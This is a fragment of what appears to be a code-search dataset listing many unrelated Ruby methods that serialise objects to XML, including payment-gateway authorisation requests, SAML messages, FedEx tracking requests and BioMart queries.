xml.ProcessResponse do \n xml.PxPayUserId ::Pxpay::Base.pxpay_user_id\n xml.PxPayKey ::Pxpay::Base.pxpay_key\n xml.Response result\n end\n end", "def to_xml\n doc = REXML::Document.new\n doc << REXML::XMLDecl.default\n doc.add_element(\"envelope\")\n p = doc.root.add_element(\"params\", { \"index\" => \"1\" })\n unless receivers.empty?\n to_elt = p.add_element(\"to\")\n receivers.each do |aid|\n agent_identifier_to_xml(to_elt, aid)\n end\n end\n unless sender.nil?\n from_elt = p.add_element(\"from\")\n agent_identifier_to_xml(from_elt, sender)\n end\n unless comments.nil?\n elt = p.add_element(\"comments\")\n elt.text = comments\n end\n unless acl_representation.nil?\n elt = p.add_element(\"acl-representation\")\n elt.text = acl_representation\n end\n unless payload_length.nil?\n elt = p.add_element(\"payload-length\")\n elt.text = payload_length\n end\n unless payload_encoding.nil?\n elt = p.add_element(\"payload-encoding\")\n elt.text = payload_encoding\n end\n unless date.nil?\n elt = p.add_element(\"date\")\n elt.text = date.iso8601\n end\n unless encrypted.nil?\n elt = p.add_element(\"encrypted\")\n elt.text = encrypted\n end\n unless intended_receivers.empty?\n elt = p.add_element(\"intended-receiver\")\n intended_receivers.each do |r|\n agent_identifier_to_xml(elt, r)\n end\n end\n unless received.nil?\n received_elt = p.add_element(\"received\")\n received_by_elt = received_elt.add_element(\"received-by\")\n url_elt = received_by_elt.add_element(\"url\")\n url_elt.text = received.by\n unless received.from.nil?\n received_from_elt = received_elt.add_element(\"received-from\")\n url_elt = received_from_elt.add_element(\"url\")\n url_elt.text = received.from\n end\n received_elt.add_element(\"received-date\", { \"value\" => received.date })\n unless received.id.nil?\n received_elt.add_element(\"received-id\", { \"value\" => received.id})\n end\n unless received.via.nil?\n received_elt.add_element(\"received-via\", { \"value\" => received.via})\n end\n end\n doc\n end", "def to_xml(opts={})\n { :name => self.controller_name,\n :parameters => self.queryable_params,\n :identifier => self.xml_identifier\n }.to_xml(opts.merge(:root => \"resource\"))\n end", "def get_xml\n xml = \"<ut_response status=\\\"ok\\\">\" +\n \"<video_count>\" + @video_count.to_s + \"</video_count>\" +\n \"<video_list>\\n\"\n each do |video|\n xml += video.to_xml\n end\n xml += \"</video_list></ut_response>\"\n end", "def to_xml(*args); end", "def to_xml(*args); end", "def to_xml(*args); end", "def to_xml(*args); end", "def to_xml(*args); end", "def to_xml(*args); end", "def to_xml\n\t\t\t\"<#{@name} #{attributes_string} />\"\n\t\tend", "def xml \n obj = {}\n expOb = Experiment.where('experimentName' => params[:experimentName]).to_a[0]\n obj['gameName'] = expOb['gameName']\n obj['sequences'] = expOb['sequences']\n obj['experimentName'] = expOb['experimentName']\n render :xml => \"<hash>\"+create_xml(obj, '')+\"</hash>\\n\"\n end", "def build_xml( id, price, options )\n xml = ::Builder::XmlMarkup.new\n xml.GenerateRequest do\n xml.PxPayUserId ::Pxpay::Base.pxpay_user_id\n xml.PxPayKey ::Pxpay::Base.pxpay_key\n xml.AmountInput sprintf(\"%.2f\", price)\n xml.TxnId id\n xml.TxnType options[:txn_type] ? options[:txn_type].to_s.capitalize : \"Purchase\"\n xml.CurrencyInput options[:currency_input] || \"NZD\"\n xml.MerchantReference options[:merchant_reference] || options[:reference] || id.to_s ## Backwards compatibility\n xml.UrlSuccess options[:url_success] || ::Pxpay::Base.url_success \n xml.UrlFail options[:url_failure] || ::Pxpay::Base.url_failure\n xml.EmailAddress options[:email_address] if options[:email_address]\n xml.TxnData1 options[:txn_data1] if options[:txn_data1]\n xml.TxnData2 options[:txn_data2] if options[:txn_data2]\n xml.TxnData3 options[:txn_data3] if options[:txn_data3]\n xml.TxnData4 options[:txn_data4] if options[:txn_data4]\n xml.Opt options[:opt] if options[:opt]\n xml.EnableAddBillCard 1 if options[:token_billing]\n xml.BillingId options[:billing_id] if options[:token_billing]\n end\n end", "def to_xml()\r\n msg = REXML::Document.new\r\n msg << REXML::Element.new(\"#{@type.to_s}\")\r\n msg.root << REXML::Element.new(\"GROUP\").add_text(\"#{@group}\") if @group != nil\r\n msg.root << REXML::Element.new(\"ID\").add_text(\"#{@procID}\") if @procID != nil\r\n msg.root << REXML::Element.new(\"PATH\").add_text(\"#{@path}\") if @path != nil\r\n msg.root << REXML::Element.new(\"ARGSLINE\").add_text(\"#{@cmdLineArgs.join(\" \")}\") if @cmdLineArgs != nil\r\n # Build the <ENV> child element\r\n if !@env.empty? \r\n line = \"\"\r\n @env.each { |k,v|\r\n line << \"#{k.to_s}=#{v.to_s} \" \r\n }\r\n msg.root << REXML::Element.new(\"ENV\").add_text(\"#{line}\")\r\n end\r\n # Build the <OML_CONFIG> child element\r\n if @omlConfig != nil\r\n el = REXML::Element.new(\"OML_CONFIG\")\r\n el.add_element(@omlConfig)\r\n msg.root << el\r\n end\r\n return msg\r\n end", "def records_as_xml( quantity = 1 )\n people_arr = []\n self.records(quantity).each do |p|\n people_arr.push( p.to_hash() )\n end\n XmlSimple.xml_out( { :person => people_arr },\n { :NoAttr=>true, :RootName=>:people, :XmlDeclaration=>true }\n )\n end", "def build_tracking_xml_request\n xml = \"\"\n\n builder = ::Builder::XmlMarkup.new :target => xml \n builder.TrackRequest :USERID => config.user_id do |t|\n t.TrackID :ID => package_id\n end\n\n xml\n end", "def generate_xml_request\n tax_receipt = generate_tax_receipt\n @certificate.certifica tax_receipt\n @key.sella tax_receipt\n tax_receipt.to_xml\n end", "def to_xml_string(str = +'')\n str << '<filters '\n serialized_attributes(str)\n str << '>'\n filter_items.each { |filter| filter.to_xml_string(str) }\n date_group_items.each { |date_group_item| date_group_item.to_xml_string(str) }\n str << '</filters>'\n end", "def to_xml\n header = build_header\n body = build_body\n envelope = build_envelope\n envelope << header\n envelope << body\n doc = Ox::Document.new(version: '1.0')\n doc << envelope\n Ox.dump(doc)\n end", "def to_xml()\n \t el = REXML::Element.new('mp')\n \t el.add_attribute(\"name\", \"#{@mdef}\")\n \t if @opts.key?(:interval)\n \t el.add_attribute(\"interval\", \"#{@opts[:interval]}\")\n elsif @opts.key?(:samples)\n \t el.add_attribute(\"samples\", \"#{@opts[:samples]}\")\n end\n \t if @filters.size > 0\n @filters.each { |f|\n el.add_element(f.to_xml)\n \t }\n \t end\n \t return el\n \tend", "def records_as_xml( quantity = 1 )\n addr_arr = self.records(quantity)\n XmlSimple.xml_out( { :address => addr_arr },\n { :NoAttr=>true, :RootName=>:emailing,\n :XmlDeclaration=>true } )\n end", "def generate_xml\n\t\n\t\tbuilder = Nokogiri::XML::Builder.new do |xml|\n \t\t\txml.randomGeneratedData {\n \t\t\txml.parameters(nbStations: @inputs.nb_stations, nbDemands: @inputs.nb_demands)\n xml.stations {\n @list_stations.each do |s|\n\t\t\t\t\t\t\txml.station(\n\t\t\t\t\t\t\t\tid: s.id, \n\t\t\t\t\t\t\t\txPos: s.xPos, \n\t\t\t\t\t\t\t\tyPos: s.yPos,\n\t\t\t\t\t\t\t\tmaxSize: s.maxSize\n\t\t\t\t\t\t\t)\n end\n }\n \t\t\t\txml.demands {\n @list_demands.each do |d|\n \t\t\t\t\t\txml.demand(\n\t\t\t\t\t\t\t id: d.id,\n\t\t\t\t\t\t\t\tidsOrigin: d.sOrigin.id, \n\t\t\t\t\t\t\t\tidsDestination: d.sDestination.id, \n\t\t\t\t\t\t\t\tnbDemand: d.nbDemand,\n\t\t\t\t\t\t\t\tdepartureTime: d.departureTime_TS,\n\t\t\t\t\t\t\t\tarrivalTime: d.arrivalTime_TS\n \t\t\t\t\t\t)\n end\n \t\t\t\t}\n \t\t\t}\n\t\tend\n\t\t\n\t\treturn builder.to_xml\n\tend", "def xml\n @xml ||= begin\n builder = ::Builder::XmlMarkup.new(:indent => 4)\n\n authed_xml_as_string(builder) do\n builder.GetReceiptInfoCall do\n builder.ReceiptFilter do\n builder.ReceiptId(id)\n end\n end\n end\n end\n end", "def to_xml(xml=Builder::XmlMarkup.new)\n attributes = {}\n attributes['ForceAuthn'] = force_authn unless force_authn.nil?\n attributes['IsPassive'] = is_passive unless is_passive.nil?\n # TODO implement assertion consumer service index\n # TODO implement assertion consumer service URL\n attributes['ProtocolBinding'] = protocol_binding unless protocol_binding.nil?\n attributes['AttributeConsumingServiceURL'] = attribute_consuming_service_url unless attribute_consuming_service_url.nil?\n attributes['ProviderName'] = provider_name unless provider_name.nil?\n attributes = add_xmlns(attributes)\n xml.tag!('samlp:AuthnRequest', attributes) {\n xml << subject.to_xml unless subject.nil?\n xml << name_id_policy.to_xml unless name_id_policy.nil?\n xml << conditions.to_xml unless conditions.nil?\n xml << requested_authn_context unless requested_authn_context.nil?\n xml << scoping.to_xml unless scoping.nil?\n }\n end", "def adjustXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.Adjust('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>\"Adjust\" ) {\n xml.ApplicationProfileId application_profile_id \n xml.BatchIds('xmlns:d2p1' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays', 'i:nil'=> \"true\")\n xml.MerchantProfileId merchant_profile_id\n xml.DifferenceData('xmlns:ns1' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions',\n 'xmlns:ns2' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",\n 'xmlns:ns3' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\") {\n if params[:Amount] != ''\n xml['ns2'].Amount params[:Amount]\n else\n xml['ns2'].Amount '0.00'\n end \n xml['ns3'].TransactionId params[:TransactionId]\n }\n } \n end.to_xml \n rescue Exception => ex\n return \"transaction id and/or amount not set in xml for adjustXML!\"\n end \n end", "def verifyXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.AuthorizeTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"AuthorizeTransaction\" ) {\n xml.ApplicationProfileId application_profile_id #'14560'\n xml.MerchantProfileId merchant_profile_id #'PrestaShop Global HC'\n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\",\n 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType]\n xml['ns1'].CardholderName params[:CardholderName]\n # xml['ns1'].PAN params[:PAN] #'4111111111111111'\n # xml['ns1'].Expire params[:Expire]\n # xml['ns1'].Track1Data('i:nil' =>\"true\")\n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end\n }\n xml['ns1'].CardSecurityData{\n xml['ns1'].AVSData{\n xml['ns1'].CardholderName('i:nil' =>\"true\") \n xml['ns1'].Street params[:Street]\n xml['ns1'].City params[:City]\n xml['ns1'].StateProvince params[:StateProvince]\n xml['ns1'].PostalCode params[:PostalCode]\n xml['ns1'].Phone params[:Phone]\n xml['ns1'].Email params[:Email]\n }\n xml['ns1'].CVDataProvided 'Provided'\n xml['ns1'].CVData params[:CVData]\n xml['ns1'].KeySerialNumber('i:nil' =>\"true\")\n xml['ns1'].PIN('i:nil' =>\"true\") \n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\")\n }\n xml['ns1'].TransactionData{\n if params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD')\n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2014-04-03T13:50:16') \n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n if params[:Track2Data].present? || params[:Track1Data].present?\n xml['ns1'].EntryMode params[:EntryMode]\n else\n xml['ns1'].EntryMode 'Keyed'\n end \n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InvoiceNumber('i:nil' =>\"true\")\n xml['ns1'].OrderNumber('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n } \n }\n }\n end.to_xml\n rescue Exception => ex\n return \"Some value not set in xml for verifyXML!\"\n end\n end", "def build_request_xml(function, param, extra = nil)\n xml = \"<?xml version=\\\"1.0\\\" encoding=\\\"ISO-8859-1\\\"?>\\n\"\n xml << \"<dados>\\n\"\n xml << \" <usuario>#{@user}</usuario>\\n\"\n xml << \" <senha>#{@password}</senha>\\n\"\n xml << \" <funcao>#{function}</funcao>\\n\"\n xml << \" <param>#{param}</param>\\n\"\n xml << \" <param2>#{extra}</param2>\\n\" if extra\n xml << \" <retorno>#{RETURN_FORMATS[@format]}</retorno>\\n\"\n xml << \"</dados>\"\n xml\n end", "def build_xml\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.TrackRequest(:xmlns => \"http://fedex.com/ws/track/v5\"){\n add_web_authentication_detail(xml)\n add_client_detail(xml)\n add_version(xml)\n # add_request_timestamp(xml)\n add_track_request(xml)\n }\n end\n builder.doc.root.to_xml\n end", "def to_xml\n\t\tend", "def to_xml\n\t\tend", "def generate_xml( args={} )\n biomart_xml = \"\"\n xml = Builder::XmlMarkup.new( :target => biomart_xml, :indent => 2 )\n \n xml.instruct!\n xml.declare!( :DOCTYPE, :Query )\n xml.Query( :virtualSchemaName => \"default\", :formatter => \"TSV\", :header => \"0\", :uniqueRows => \"1\", :count => args[:count], :datasetConfigVersion => \"0.6\" ) {\n xml.Dataset( :name => @name, :interface => \"default\" ) {\n \n if args[:filters]\n args[:filters].each do |name,value|\n if value.is_a? Array\n value = value.join(\",\")\n end\n xml.Filter( :name => name, :value => value )\n end\n else\n self.filters.each do |name,filter|\n if filter.default\n xml.Filter( :name => name, :value => filter.default_value )\n end\n end\n end\n \n unless args[:count]\n if args[:attributes]\n args[:attributes].each do |name|\n xml.Attribute( :name => name )\n end\n else\n self.attributes.each do |name,attribute|\n if attribute.default\n xml.Attribute( :name => name )\n end\n end\n end\n end\n \n }\n }\n \n return biomart_xml\n end", "def to_xml(xm)\n xm.ResourceTemplate do |xm|\n value_tag(xm, \"rel\")\n value_tag(xm, \"name\")\n value_tag(xm, \"path_template\")\n value_tag(xm, \"uri_template\")\n\n list_tag(xm, params, \"Params\", \"param\")\n list_tag(xm, optional_params, \"OptionalParams\", \"param\")\n\n # could use a list of elements here, but let's follow HTTP's lead and reduce the verbosity\n xm.options(options.join(\", \")) unless options.empty?\n\n resource_templates.to_xml(xm) unless resource_templates.empty?\n end\n xm\n end", "def to_xml(*)\n self\n end", "def records_as_xml( quantity = 1 )\n addr_arr = self.records(quantity).collect { |a| a.to_hash }\n XmlSimple.xml_out( { :address => addr_arr },\n { :NoAttr=>true,\n :RootName=>:mailing,\n :XmlDeclaration=>true } )\n end", "def body_parameters(parameters)\n parameters_xml = ''\n parameters.each_pair do |k,v|\n key = parameter_key(k)\n\n case v\n when Hash\n val = body_parameters(v)\n when Array\n val = v.map {|i| body_parameters(i) }.join('')\n else\n val = \"<![CDATA[#{v}]]>\"\n end\n\n parameters_xml << \"<#{key}>#{val}</#{key}>\"\n end\n parameters_xml\n end", "def to_xml(xml=Builder::XmlMarkup.new)\n xml.tag!('samlp:AssertionIDRequest') {\n assertion_id_refs.each { |assertion_id_ref| xml << assertion_id_ref.to_xml }\n }\n end", "def make_url(params) #:nodoc:\n params[:key] = @key\n params[:output] = 'xml'\n\n super params\n end", "def to_xml()\n XmlSimple.xml_out( { :address => self.to_hash() }, { :KeepRoot=>true, :NoAttr=>true } )\n end", "def to_xml\n xml = Builder::XmlMarkup.new\n xml.resumptionToken \"#{@opts[:metadata_prefix]}:#{@opts[:set]}:#{nextCount}:#{total}:#{@more}\", {\n expirationDate: (Time.now + 24*60*60).utc.iso8601,\n cursor: @count,\n completeListSize: @total\n }\n xml.target!\n end", "def to_xml\n xml = '<Action>'\n @data.each_pair {|k,v| xml += \"<#{k}>#{v}</#{k}>\"}\n xml += '</Action>'\n end", "def body_parameters(parameters)\n parameters_xml = ''\n parameters.each_pair do |k, v|\n key = parameter_key(k)\n\n val = case v\n when Hash\n body_parameters(v)\n when Array\n v.map { |i| body_parameters(i) }.join('')\n when nil\n ''\n else\n \"<![CDATA[#{v}]]>\"\n end\n\n parameters_xml << \"<#{key}>#{val}</#{key}>\"\n end\n\n parameters_xml\n end", "def authorizeXML(params) \n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.AuthorizeTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', \n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"AuthorizeTransaction\" ) {\n xml.ApplicationProfileId application_profile_id\n xml.MerchantProfileId merchant_profile_id\n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\",\n 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n if params[:SwipeStatus].present? && params[:IdentificationInformation].present? && params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present?\n #p \"Swipe card..maga...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SwipeStatus])\n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation params[:IdentificationInformation]\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n elsif params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present? \n #p \"Swipe card..Dukp...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n elsif params[:PaymentAccountDataToken].present?\n #p \"PaymentAccountDataToken...........\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:PaymentAccountDataToken])\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n else \n #p \"without token....\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\", 'i:nil' =>\"true\")\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType] \n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end \n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n end\n }\n xml['ns2'].CustomerData('xmlns:ns2' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns2'].BillingData{\n xml['ns2'].Name('i:nil' =>\"true\")\n xml['ns2'].Address{\n xml['ns2'].Street1 params[:Street1] \n xml['ns2'].Street2('i:nil' =>\"true\")\n xml['ns2'].City params[:City] \n xml['ns2'].StateProvince params[:StateProvince]\n xml['ns2'].PostalCode params[:PostalCode]\n xml['ns2'].CountryCode params[:CountryCode]\n }\n xml['ns2'].BusinessName 'MomCorp'\n xml['ns2'].Phone params[:Phone]\n xml['ns2'].Fax('i:nil' =>\"true\")\n xml['ns2'].Email params[:Email]\n }\n xml['ns2'].CustomerId 'cust123'\n xml['ns2'].CustomerTaxId('i:nil' =>\"true\")\n xml['ns2'].ShippingData('i:nil' =>\"true\")\n }\n xml['ns3'].ReportingData('xmlns:ns3' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns3'].Comment 'a test comment'\n xml['ns3'].Description 'a test description'\n xml['ns3'].Reference '001'\n }\n xml['ns1'].TransactionData{\n if params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n #xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD') \n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2013-04-03T13:50:16')\n xml['ns11'].CampaignId('xmlns:ns11' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns12'].Reference('xmlns:ns12' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('xyt')\n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].ApprovalCode('i:nil' =>\"true\")\n xml['ns1'].CashBackAmount '0.0'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n xml['ns1'].EntryMode params[:EntryMode]\n xml['ns1'].GoodsType 'NotSet'\n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InternetTransactionData('i:nil' =>\"true\")\n xml['ns1'].InvoiceNumber params[:InvoiceNumber]\n xml['ns1'].OrderNumber params[:OrderNumber]\n xml['ns1'].IsPartialShipment 'false'\n xml['ns1'].SignatureCaptured 'false'\n xml['ns1'].FeeAmount '0.0'\n xml['ns1'].TerminalId('i:nil' =>\"true\")\n xml['ns1'].LaneId('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n xml['ns1'].BatchAssignment('i:nil' =>\"true\")\n xml['ns1'].PartialApprovalCapable 'NotSet'\n xml['ns1'].ScoreThreshold('i:nil' =>\"true\")\n xml['ns1'].IsQuasiCash 'false' \n }\n }\n } \n end.to_xml \n rescue Exception => ex\n return \"Some value not set in xml for authorizeXML!\"\n end\n end", "def to_xml\n el = REXML::Element.new(\"f\")\n \n # In the current Filter handling by OML Server/Client\n # pname is the input for the filter, and it is an attribute\n # of the filter element in XML\n # However, in the future there could be many inputs \n # to a filter, thus input will become a child element of the\n # filter XML element.\n# if @properties.length > 0\n# @properties.each {|p|\n# el.add_attribute(\"pname\", p.value) if p.idref == :input\n# }\n# end\n \n \n el.add_attribute(\"fname\", @opts[:fname].to_s)\n # TODO: What is 'sname' used for???\n #el.add_attribute(\"sname\", @name.to_s)\n el.add_attribute(\"pname\", @opts[:pname].to_s)\n \n # Support for future evolution of Filter\n #a.add_attribute(\"idref\", idref) \n #if @properties.length > 0\n # pe = a.add_element(\"properties\")\n # @properties.each {|p|\n # pe.add_element(p.to_xml)\n # }\n #end\n return el\n end", "def toxml\n\t\tend", "def to_xml\n http.body\n end", "def to_xml\n\t\tmsg_xml = ''\n\t\t@hash.each do |info|\n\t\t\tmsg_xml += \"<#{info.key}>#{xml(info.value)}</#{info.key}>\\n\"\n\t\tend\n\t\tmsg_xml\n\tend", "def to_xml(xml=Builder::XmlMarkup.new)\n attributes = {'ID' => id, 'Version' => version, 'IssueInstant' => issue_instant.in_time_zone.xmlschema}\n attributes['InResponseTo'] = in_response_to unless in_response_to.nil?\n attributes['Destination'] = destination unless destination.nil?\n attributes['Consent'] = consent unless consent.nil?\n attributes = add_xmlns(attributes)\n xml.tag!('samlp:Response', attributes) {\n xml << issuer.to_xml unless issuer.nil?\n xml << signature.to_xml unless signature.nil?\n # TODO: add extensions support\n xml << status.to_xml unless status.nil?\n assertions.each { |assertion| xml << assertion.to_xml }\n encrypted_assertions.each { |encrypted_assertion| xml << encrypted_assertion.to_xml }\n }\n end", "def make_url(params) #:nodoc:\n params[:appid] = @appid\n params[:output] = 'xml'\n\n super params\n end", "def make_url(params) #:nodoc:\n params[:appid] = @appid\n params[:output] = 'xml'\n\n super params\n end", "def build_xml\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.SendNotificationsRequest(:xmlns => \"http://fedex.com/ws/track/v#{service[:version]}\"){\n add_web_authentication_detail(xml)\n add_client_detail(xml)\n add_transaction_details(xml)\n add_version(xml)\n xml.TrackingNumber @tracking_number\n xml.TrackingNumberUniqueId @uuid if @uuid\n xml.SenderEMailAddress @sender_email_address\n xml.SenderContactName @sender_name\n add_notification_detail(xml)\n }\n end\n builder.doc.root.to_xml\n end", "def to_xml\n Builder.new(owner, grants).to_s\n end", "def preservation_xml\n descriptive_metadata = metadata_source.find_by(source_type: 'descriptive').user_defined_mappings\n structural_metadata = metadata_source.find_by(source_type: 'structural').user_defined_mappings\n\n Nokogiri::XML::Builder.new(encoding: 'UTF-8') { |xml|\n xml.root {\n xml.record {\n xml.uuid { xml.text repo.unique_identifier }\n\n descriptive_metadata.each do |field, values|\n values.each { |value| xml.send(field + '_', value) }\n end\n\n xml.pages {\n structural_metadata['sequence'].map do |asset|\n xml.page {\n asset.map do |field, value|\n Array.wrap(value).each { |v| xml.send(field + '_', v) }\n end\n }\n end\n }\n }\n }\n }.to_xml\n end", "def to_xml(params = {})\n params.reverse_merge!(\n :name => self.class.tag_name,\n :namespace => self.class.roxml_namespace\n )\n params[:namespace] = nil if ['*', 'xmlns'].include?(params[:namespace])\n str = [params[:namespace], params[:name]].compact.join(':')\n XML.new_node(str).tap do |root|\n refs = if self.roxml_references.present?\n self.roxml_references\n else\n self.class.roxml_attrs.map { |attr| attr.to_ref(self) }\n end\n # Add audience_range_qualifier as is\n refs[0].update_xml(root, refs[0].to_xml(self))\n # Zip audience_range_values with audience_range_precisions\n precisions = refs[1].to_xml(self)\n values = refs[2].to_xml(self)\n (0..precisions.size-1).each do |i|\n refs[1].update_xml(root, [precisions[i]])\n refs[2].update_xml(root, [values[i]])\n end\n end\n end", "def _to_xml(xml)\n end", "def to_xml\n\n prelude = \"<?xml version='1.0'?>\\n<Root xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' xsi:noNamespaceSchemaLocation='file:///order.xsd'>\\n<order>\"\n str= [ add_costs_xml,\n additional_text_xml,\n customer_id,\n delivery_country_code,\n delivery_date_xml,\n delivery_name_1,\n delivery_name_2,\n delivery_name_3,\n delivery_place,\n delivery_print_code_xml,\n delivery_street,\n delivery_codes,\n delivery_zipcode,\n discount_xml,\n gross_price_code,\n invoice_country_code,\n invoice_name_1,\n invoice_name_2,\n invoice_name_3,\n invoice_place,\n invoice_print_code_xml,\n invoice_street,\n invoice_zipcode,\n order_type,\n payment_codes,\n reference_1,\n reference_2,\n representative_1,\n short_name,\n urgent_code,\n tax_code,\n order_release_code\n ].compact\n str.each do |s|\n s = s.force_encoding('UTF-8')\n end\n all = str.join(\"\\n\")\n ending = 